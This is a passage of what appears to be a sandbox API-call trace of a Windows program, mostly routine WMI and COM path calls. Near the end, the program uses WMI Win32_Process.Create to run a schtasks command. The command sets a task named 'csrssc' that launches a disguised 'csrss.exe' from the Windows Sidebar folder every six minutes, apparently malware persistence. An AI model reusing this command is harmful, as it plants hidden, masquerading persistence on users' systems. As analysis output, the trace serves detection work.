puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0056.882] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169740, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0056.882] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169740, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0056.883] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169680, uIndex=0x0, pszName="ROOT") returned 0x0 [0056.883] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169740, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0056.883] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169740, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0056.883] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169680, uIndex=0x1, pszName="CIMV2") returned 0x0 [0056.883] WbemDefPath:IWbemPath:GetClassName (in: This=0x1169680, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0056.883] WbemDefPath:IWbemPath:SetClassName (This=0x1169680, Name="Win32_Process") returned 0x0 [0056.883] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169680, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169680, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetText (in: This=0x1169680, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetText (in: This=0x1169680, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169680, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169680, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetText (in: This=0x1169680, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetText (in: This=0x1169680, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169440, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0056.885] WbemDefPath:IWbemPath:GetText (in: This=0x1169680, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0056.886] WbemDefPath:IWbemPath:GetText (in: This=0x1169680, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0056.886] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0056.886] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0056.886] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0056.886] IUnknown:Release (This=0x111f638) returned 0x1 [0056.888] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11bea30) returned 0x0 [0056.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x11bea30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0056.888] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11bea30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1169800) returned 0x0 [0056.888] WbemDefPath:IUnknown:Release (This=0x11bea30) returned 0x0 [0056.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169800, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1169800) returned 0x0 [0056.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169800, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0056.889] WbemDefPath:IUnknown:AddRef (This=0x1169800) returned 0x3 [0056.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169800, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0056.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169800, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0056.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169800, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11bea70) returned 0x0 [0056.889] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11bea70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.889] WbemDefPath:IUnknown:Release (This=0x11bea70) returned 0x3 [0056.889] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0056.889] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0056.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169800, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0056.889] WbemDefPath:IUnknown:Release (This=0x1169800) returned 0x2 [0056.889] WbemDefPath:IUnknown:Release (This=0x1169800) returned 0x1 [0056.889] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0056.889] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0056.890] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169800, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1169800) returned 0x0 [0056.890] WbemDefPath:IUnknown:AddRef (This=0x1169800) returned 0x3 [0056.890] WbemDefPath:IUnknown:Release (This=0x1169800) returned 0x2 [0056.890] WbemDefPath:IWbemPath:SetText (This=0x1169800, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0056.890] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169440, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0056.890] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0056.890] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.890] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0056.890] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0056.890] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0056.890] IUnknown:Release (This=0x111f638) returned 0x1 [0056.892] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11beab0) returned 0x0 [0056.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x11beab0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0056.892] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11beab0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x11698c0) returned 0x0 [0056.893] WbemDefPath:IUnknown:Release (This=0x11beab0) returned 0x0 [0056.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x11698c0) returned 0x0 [0056.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0056.893] WbemDefPath:IUnknown:AddRef (This=0x11698c0) returned 0x3 [0056.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0056.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0056.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11beaf0) returned 0x0 [0056.893] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11beaf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.893] WbemDefPath:IUnknown:Release (This=0x11beaf0) returned 0x3 [0056.893] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0056.893] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0056.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0056.894] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x2 [0056.894] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x1 [0056.894] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0056.894] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0056.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11698c0) returned 0x0 [0056.894] WbemDefPath:IUnknown:AddRef (This=0x11698c0) returned 0x3 [0056.894] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x2 [0056.894] WbemDefPath:IWbemPath:SetText (This=0x11698c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169800, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0056.894] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1169800) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x11698c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x11698c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0056.894] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169800, uIndex=0x0, pszName="root") returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x11698c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x11698c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0056.894] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169800, uIndex=0x1, pszName="cimv2") returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetServer (in: This=0x11698c0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetServer (in: This=0x11698c0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetServer (in: This=0x1169800, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetServer (in: This=0x1169800, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169800, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169440, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0056.894] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0056.895] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169440, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0056.896] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0056.896] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169800, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0056.896] WbemDefPath:IWbemPath:GetText (in: This=0x1169800, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0056.896] WbemDefPath:IWbemPath:GetText (in: This=0x1169800, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0056.896] WbemDefPath:IWbemPath:GetText (in: This=0x1169800, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0056.896] WbemDefPath:IWbemPath:GetText (in: This=0x1169800, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0056.896] IWbemServices:GetObject (in: This=0x1130ee0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11c3ed0, ppCallResult=0x0) returned 0x0 [0056.899] IWbemClassObject:GetMethod (in: This=0x11c3ed0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11c4900, ppOutSignature=0x1b2fd9e0*=0x11c50d0) returned 0x0 [0056.899] IWbemClassObject:SpawnInstance (in: This=0x11c4900, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x11c5440) returned 0x0 [0056.915] IWbemClassObject:Get (in: This=0x11c5440, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9548*=0, plFlavor=0x29c954c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9548*=8, plFlavor=0x29c954c*=32) returned 0x0 [0056.915] IWbemClassObject:Get (in: This=0x11c5440, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9548*=8, plFlavor=0x29c954c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9548*=8, plFlavor=0x29c954c*=32) returned 0x0 [0056.916] IWbemClassObject:Put (This=0x11c5440, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0056.917] IWbemClassObject:Get (in: This=0x11c5440, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9610*=0, plFlavor=0x29c9614*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9610*=13, plFlavor=0x29c9614*=32) returned 0x0 [0056.917] IWbemClassObject:Get (in: This=0x11c5440, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9610*=13, plFlavor=0x29c9614*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9610*=13, plFlavor=0x29c9614*=32) returned 0x0 [0056.918] IUnknown:QueryInterface (in: This=0x11b8f10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11b8f10) returned 0x0 [0056.918] IUnknown:QueryInterface (in: This=0x11b8f10, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0056.918] IUnknown:QueryInterface (in: This=0x11b8f10, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0056.918] IUnknown:AddRef (This=0x11b8f10) returned 0x3 [0056.918] IUnknown:QueryInterface (in: This=0x11b8f10, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0056.918] IUnknown:QueryInterface (in: This=0x11b8f10, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), 